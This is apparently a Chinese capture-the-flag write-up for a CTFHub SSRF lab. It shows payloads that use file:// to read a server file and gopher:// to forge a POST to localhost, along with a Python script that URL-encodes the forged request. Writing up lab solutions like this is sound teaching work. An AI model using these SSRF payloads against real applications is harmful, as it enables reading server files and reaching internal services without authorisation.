CTFHUB-SSRF-POST请求

通过file协议访问flag.php文件内容

复制代码
?url=file:///var/www/html/flag.php

右键查看页面源代码

需要从内部携带key发送post数据包即可获得flag

复制代码
?url=http://127.0.0.1/flag.php

得到了key

构造POST请求数据包,进行url编码(新建一个txt文件,输入以下内容保存,修改为python文件,重命名为gopher.py

python 复制代码
# -*- coding: utf-8 -*
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=d554812847363980d21b2b1b87733501
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

在命令行窗口执行

复制代码
python gopher.py

通过Gopher协议发送请求,得到了flag

复制代码
?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dd554812847363980d21b2b1b87733501%250D%250A
相关推荐
宋浮檀s10 小时前
应急响应——恶意流量&攻击行为识别
linux·运维·网络·网络安全·应急响应
谪星·阿凯13 小时前
内网渗透之权限维持:从域环境到单机的持久化控制指南
运维·服务器·网络·网络安全
宋浮檀s14 小时前
春秋云镜——CVE-2022-22965
网络·安全·web安全·网络安全
老花眼猫14 小时前
数学艺术图案画-曼陀罗单色版(4)
c语言·经验分享·青少年编程·课程设计
中屹指纹浏览器15 小时前
2026指纹浏览器自动化集成与RPA脚本开发全栈指南
经验分享·笔记
一个人旅程~15 小时前
使用OpenCore-Patcher解决Monterey 蓝牙故障处理完整使用方法及卸载回退指导书
经验分享·macos·电脑
大方子16 小时前
【好靶场】交易所钱包划转存在的逻辑漏洞3
网络安全·好靶场
searchforAI17 小时前
B站视频自动转图文+思维导图,附6种学习模式详解
人工智能·经验分享·笔记·gpt·学习·ai
Tech-Net17 小时前
INS图片怎么下载?2026最新Instagram图片/视频无水印批量保存完整教程
前端·经验分享·教程·工具·instagram·ins图片下载·图片下载工具
xuhaoyu_cpp_java17 小时前
Git学习(八)
经验分享·笔记·git·学习